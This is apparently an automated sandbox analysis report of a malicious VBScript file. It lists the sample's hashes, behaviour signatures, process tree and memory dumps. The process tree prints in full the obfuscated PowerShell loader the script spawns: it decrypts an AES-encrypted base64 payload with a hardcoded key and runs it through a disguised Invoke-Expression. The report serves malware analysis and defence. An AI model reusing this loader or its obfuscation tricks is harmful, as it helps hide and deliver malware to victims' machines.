Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    27-07-2024 01:27

General

  • Target

    63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs

  • Size

    404KB

  • MD5

    91143de27aed4b3ae7741994bc065faa

  • SHA1

    85dfa644d5397b58383c94a4a898484a7fa5b8ce

  • SHA256

    63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29

  • SHA512

    e8cadd0faab189cf64253d2d7eaea5485224db55958a842917696f418e8f1d18349ed8f6f6bf1bc916d646e3baaa7e50c06f86094e30f30c619f3975473d22b2

  • SSDEEP

    3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2764-4-0x000007FEF5D9E000-0x000007FEF5D9F000-memory.dmp

    Filesize

    4KB

  • memory/2764-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2764-6-0x0000000001D20000-0x0000000001D28000-memory.dmp

    Filesize

    32KB

  • memory/2764-7-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-8-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-9-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-11-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-10-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-12-0x000000001BF30000-0x000000001C052000-memory.dmp

    Filesize

    1.1MB

  • memory/2764-13-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB